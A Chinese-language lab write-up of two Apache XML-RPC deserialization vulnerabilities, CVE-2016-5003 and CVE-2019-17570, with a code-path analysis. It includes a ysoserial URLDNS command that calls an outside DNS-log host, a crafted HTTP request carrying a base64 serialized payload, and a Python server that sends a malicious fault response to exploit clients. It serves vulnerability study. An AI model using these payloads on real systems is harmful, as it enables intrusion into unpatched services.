XML-RPC反序列化漏洞
XML-RPC反序列化漏洞
XML-RPC
Xml-RPC是一个远程过程调用(remote procedure call,RPC)的分布式计算协议,通过XML将调用函数封装,并使用HTTP协议作为传送机制。
CVE-2016-5003
环境搭建:
起一个Maven项目导入下面依赖:
<dependencies>
<dependency>
<groupId>org.apache.xmlrpc</groupId>
<artifactId>xmlrpc-common</artifactId>
<version>3.1.3</version>
</dependency>
<dependency>
<groupId>org.apache.xmlrpc</groupId>
<artifactId>xmlrpc-server</artifactId>
<version>3.1.3</version>
</dependency>
</dependencies>
起一个服务端:
import org.apache.xmlrpc.server.PropertyHandlerMapping;
import org.apache.xmlrpc.server.XmlRpcServer;
import org.apache.xmlrpc.server.XmlRpcServerConfigImpl;
import org.apache.xmlrpc.webserver.WebServer;
public class Main {
public static void main(String[] args) throws Exception {
WebServer webServer = new WebServer(80);//服务端口
XmlRpcServer xmlRpcServer = webServer.getXmlRpcServer();
PropertyHandlerMapping phm = new PropertyHandlerMapping();
phm.addHandler("Test", Test.class);
xmlRpcServer.setHandlerMapping(phm);
XmlRpcServerConfigImpl serverConfig = (XmlRpcServerConfigImpl) xmlRpcServer.getConfig();
serverConfig.setEnabledForExtensions(true);
webServer.start();
}
}
其中Test类是被远程调用的类
public class Test {
public String welcome(String name) {
return "welcome " + name;
}
}
要远程调用这个Test类的welcome方法,只需要以POST的方式向服务端发起请求,请求的数据为xml:
POST / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Host: 127.0.0.1:80
Content-Type: text/xml
Content-Length: 192
<?xml version="1.0"?>
<methodCall>
<methodName>Test.welcome</methodName>
<params>
<param>
<value>111111111</value>
</param>
</params>
</methodCall>
response:
HTTP/1.0 200 OK
Server: Apache XML-RPC 1.0
Connection: close
Content-Type: text/xml
Content-Length: 196
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
<params>
<param>
<value>welcome 111111111</value>
</param>
</params>
</methodResponse>
重点:这里的XML还支持其他标签,其中就包括了ex:serializable,官方文档的描述如下:一个对象被转换为序列化表示,并作为经过 base 64 编码的字节数组进行传输。其中前缀“ex”指的是命名空间 URI http://ws.apache.org/xmlrpc/namespaces/extensions。
也就是说下面标签内的内容会被base64解密并进行反序列化
<ex:serializable>base64code</serializable>
可以试一试URLDNS,测试一下是否存在反序列化漏洞
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://0529a07b.dnslog.store." > 1.txt
再使用certutil -encode命令进行base64加密
certutil -encode 1.txt 2.txt
将加密后的内容包裹在<ex:serializable></ex:serializable>
中
POST / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Host: 127.0.0.1:80
Content-Type: text/xml
Content-Length: 3133
<?xml version="1.0"?>
<methodCall xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
<methodName>Test.welcome</methodName>
<params>
<param>
<value><ex:serializable>
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3Rv
ckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVS
TJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGph
dmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9j
b2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAFjA1MjlhMDdiLmRuc2xvZy5z
dG9yZS50AABxAH4ABXQABGh0dHBweHQAHWh0dHA6Ly8wNTI5YTA3Yi5kbnNsb2cu
c3RvcmUueA==
</ex:serializable></value>
</param>
</params>
</methodCall>
测试结果:
说明存在反序列化漏洞
下一步就是调试一下看看漏洞出现在哪
当发送数据包后,回调用org.apache.xmlrpc.server.XmlRpcStreamServer中的execute方法
将数据流保存到了istream中并传入到getRequest中进行解析
后面就是一连串的parse方法的调用,调用栈如下:
然后在最后的parse方法中返回的时候调用了com.sun.org.apache.xerces.internal.impl.scanDocument方法
在这个方法中会对XML内容进行解析
扫描完成后调用scanEndElement()方法,在com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl类中
然后,进入判断,调用了com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser的endElement方法
继续跟进下一个endElement方法,这里会获取到xml各个元素的值
当level==3时即获取到最后的元素时,进入endValueTag方法
然后因为typeParser 不为空,进入else分支,跟进getResult()方法
public Object getResult() throws XmlRpcException {
try {
byte[] res = (byte[])((byte[])super.getResult());
ByteArrayInputStream bais = new ByteArrayInputStream(res);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
} catch (IOException var4) {
throw new XmlRpcException("Failed to read result object: " + var4.getMessage(), var4);
} catch (ClassNotFoundException var5) {
throw new XmlRpcException("Failed to load class for result object: " + var5.getMessage(), var5);
}
}
这里直接进行反序列化了
CVE-2019-17570
这个也是个反序列化漏洞,漏洞点在org.apache.xmlrpc.parser.XmlRpcResponseParser类的addResult方法
这个类是处理服务器返回的数据,作为客户端使用时程序会运行到这:
首先添加依赖:
<dependency>
<groupId>org.apache.xmlrpc</groupId>
<artifactId>xmlrpc-client</artifactId>
<version>3.1.3</version>
</dependency>
写个客户端:
public static void main(String[] args) throws MalformedURLException, XmlRpcException {
String domainName = "http://127.0.0.1:8888";
String serverurl = domainName + "/";
XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
config.setServerURL(new URL(serverurl));
XmlRpcClient client = new XmlRpcClient();
client.setConfig(config);
Object[] params = new Object[]{"test", "AAA"};
Object result = (Object) client.execute("xmlrpc-api", params);
}
使用python写个简单的服务端,发送恶意返回包:
import http.server
import socketserver
def create_fault_deser(payload):
return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>1337</int></value>
</member>
<member>
<name>faultString</name>
<value><string>You have been pwned</string></value>
</member>
<member>
<name>faultCause</name>
<value><base64>%s</base64></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
''' % (payload).encode('utf-8')
payload = base64加密后的序列化数据
class Handler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write(create_fault_deser(payload))
httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()
启动服务端后,通过java的客户端访问,这个服务器,然后就会去反序列化解密后的payload
简单的分析一下
这个过程和上面CVE-2016-5003处理XML的过程是类似的,都是遍历XML获取里面的值然后保存起来,这里保存到的是HashMap对象中
其中faultCause对应的值就是序列化数据
往下,因为this.isSuccess=false 进入else分支,一直往下:
这里获取到了faultCause的值,然后进行反序列化